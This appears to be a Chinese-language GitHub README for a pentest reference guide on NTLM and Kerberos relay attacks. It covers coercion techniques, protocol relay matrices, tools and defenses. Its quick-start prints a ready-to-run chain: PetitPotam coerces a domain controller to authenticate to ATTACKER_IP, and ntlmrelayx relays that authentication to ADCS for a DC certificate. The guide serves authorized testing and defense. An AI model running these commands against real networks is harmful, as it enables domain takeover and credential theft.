rootsecdev/relay_bible
GitHub: rootsecdev/relay_bible
一本系统化的内网中继攻击技术参考手册,涵盖 NTLM/Kerberos 认证中继原理、强制认证手法、多协议中继目标、工具使用、高级攻击链及防御检测。
Stars: 190 | Forks: 22
# Relay Bible — 内网渗透测试中继指南
这是授权内网渗透测试中针对 NTLM relay 攻击的综合参考指南。涵盖了认证基础、强制认证技术、各协议的中继目标、工具使用、高级链式攻击以及防御缓解措施。
## 前置条件
- Linux 攻击机(Kali、Parrot 或类似系统)
- 安装了 Impacket 的 Python 3.10+
- 目标环境的网络访问权限(授权的测试项目)
- 对 Active Directory 和 Windows 网络的基础了解
## 目录
### 1. 基础知识
- [NTLM 认证与中继原理](01-fundamentals/ntlm-authentication.md) — NTLM 的工作原理、为什么中继是可能的、NTLMv1 与 v2 的对比、签名、EPA
- [Kerberos 认证与中继原理](01-fundamentals/kerberos-authentication.md) — AS/TGS/AP 交换、SPN 规范化、为什么 Kerberos 仍然可以被中继
- [识别中继机会](01-fundamentals/identifying-targets.md) — 枚举、寻找未启用签名的主机、映射攻击面
### 2. 强制认证技术
- [强制认证概述](02-coercion/overview.md) — 迫使机器向你的监听器进行认证
- [PetitPotam (MS-EFSRPC)](02-coercion/petitpotam.md)
- [PrinterBug / SpoolSample (MS-RPRN)](02-coercion/printerbug.md)
- [DFSCoerce (MS-DFSNM)](02-coercion/dfscoerce.md)
- [ShadowCoerce (MS-FSRVP)](02-coercion/shadowcoerce.md)
### 3. 中继目标(按协议)
- [SMB 中继](03-relay-targets/smb.md) — 中继到 SMB 以执行代码
- [LDAP / LDAPS 中继](03-relay-targets/ldap.md) — 委派访问、创建机器账户、RBCD
- [MSSQL 中继](03-relay-targets/mssql.md) — 中继到 SQL Server 以执行命令
- [HTTP / WebDAV 中继](03-relay-targets/http-webdav.md) — 中继到 Web 端点、WebDAV 强制认证
- [ADCS 攻击 (ESC1–ESC15)](03-relay-targets/adcs.md) — 包括中继在内的所有 ADCS 提权技术
- [SMTP / IMAP 中继](03-relay-targets/smtp-imap.md) — 中继到 Exchange / 邮件服务
- [RPC / DCOM 中继](03-relay-targets/rpc-dcom.md) — 中继到 RPC 端点
- [SOCKS 代理中继](03-relay-targets/socks.md) — 通过 SOCKS 维持持久的中继会话
### 4. 工具安装与使用
- [Responder](04-tools/responder.md) — 投毒与抓取哈希
- [ntlmrelayx.py](04-tools/ntlmrelayx.md) — 首要的中继框架
- [mitm6](04-tools/mitm6.md) — 用于强制认证的 IPv6 DNS 接管
- [Certipy](04-tools/certipy.md) — ADCS 枚举与中继
- [Coercer](04-tools/coercer.md) — 自动化强制认证工具
- [krbrelayx](04-tools/krbrelayx.md) — Kerberos 中继与委派滥用
### 5. 高级技术
- [跨协议中继](05-advanced-techniques/cross-protocol.md) — 从一个协议中继到另一个协议
- [IPv6 攻击链](05-advanced-techniques/ipv6-chains.md) — mitm6 + 中继组合
- [中继链与内网穿透](05-advanced-techniques/chaining.md) — 多跳中继场景
- [WebDAV 强制认证技巧](05-advanced-techniques/webdav-coercion.md) — 迫使机器发起 HTTP 认证
- [通过滥用 DNS CNAME 进行 Kerberos 中继](05-advanced-techniques/kerberos-cname-relay.md) — Cymulate / CVE-2026-20929,通过 CNAME 投毒进行 Kerberos TGS 中继
### 6. 防御与检测
- [缓解措施](06-defense/mitigations.md) — SMB 签名、LDAP 签名、EPA、禁用 NTLM
- [检测](06-defense/detection.md) — 日志来源、Sigma 规则、行为指标
## 快速参考:NTLM 中继 — 什么能中继到哪里?
适用于现代(CVE-2019-1040 补丁之后)已修补环境中的经典 NTLM 中继。有关更详细的跨协议分解,请参阅[跨协议中继](05-advanced-techniques/cross-protocol.md)。
| 源认证 | → SMB | → LDAP | → MSSQL | → HTTP | → ADCS | → SOCKS |
|-------------|-------|--------|---------|--------|--------|---------|
| SMB | ✅* | ❌† | ✅ | ✅ | ❌† | ✅ |
| HTTP | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| WebDAV | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
| MSSQL | ✅* | ✅ | ✅ | ✅ | ✅ | ✅ |
\* 目标必须不要求 SMB 签名
† 源于 SMB 的 NTLM 在 NEGOTIATE 中包含了签名标志,而 LDAP 和 ADCS HTTP 会强制执行该标志——这导致中继的会话需要攻击者并不拥有的签名密钥。这就是为什么对于 LDAP 和 ADCS 中继,更倾向于使用源于 WebDAV/HTTP 的认证。
## 快速参考:通过滥用 DNS CNAME 进行 Kerberos 中继
Cymulate / **CVE-2026-20929** 原语(2026 年 1 月)——攻击者通过 CNAME 对 DNS 进行投毒,Windows 规范化 SPN,客户端请求攻击者所选目标的 TGS,AP-REQ 随后被中继。由于许多服务仅根据 SPN 的 **DNS 部分** 来接受票据,因此源 SPN 类别的重要性远不及在 NTLM 中继中那样关键——决定攻击成败的关键在于目标服务是否强制执行了其自身的防中继控制。
| 目标服务 | 可中继除非... | 补丁 / 状态 |
|----------------------|-------------------------------------------------------------|---------------------------------------------|
| SMB | 目标**要求** SMB 签名 | — |
| LDAP | **要求** LDAP 签名 | — |
| LDAPS | `LdapEnforceChannelBinding = 2` (Always) | — |
| HTTP / IIS | 强制执行 HTTP CBT(`HTTP.sys` token 检查 = Require) | **CVE-2026-20929** 向后移植了 HTTP.sys CBT |
| ADCS `/certsrv/` | 虚拟目录上的 Extended Protection = Require | 通过 CVE-2026-20929 应用的 HTTP.sys CBT |
| MSSQL | 启用了 Extended Protection | — |
| Exchange (OWA/ECP/…) | 所有虚拟目录上启用 EPA | — |
所有行均假设攻击者具有对 DNS 进行投毒的网络位置优势(通过 mitm6 的 DHCPv6、ARP、恶意 DHCPv4)。完整技术:[通过滥用 DNS CNAME 进行 Kerberos 中继](05-advanced-techniques/kerberos-cname-relay.md)。
## 快速开始
1. **枚举** — 寻找禁用签名的主机并识别强制认证的目标
2. **就位** — 启动你的中继监听器(ntlmrelayx)并指向你的目标
3. **强制认证** — 触发源机器到你的监听器的认证
4. **获益** — 中继捕获并转发认证到你的目标协议
```
# Classic 示例:强制 DC,relay 到 ADCS 以获取 DC 证书
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP
```
标签:Modbus, Terraform 安全, 凭据窃取, 攻击指南, 数据展示, 红队, 逆向工具, 防御加固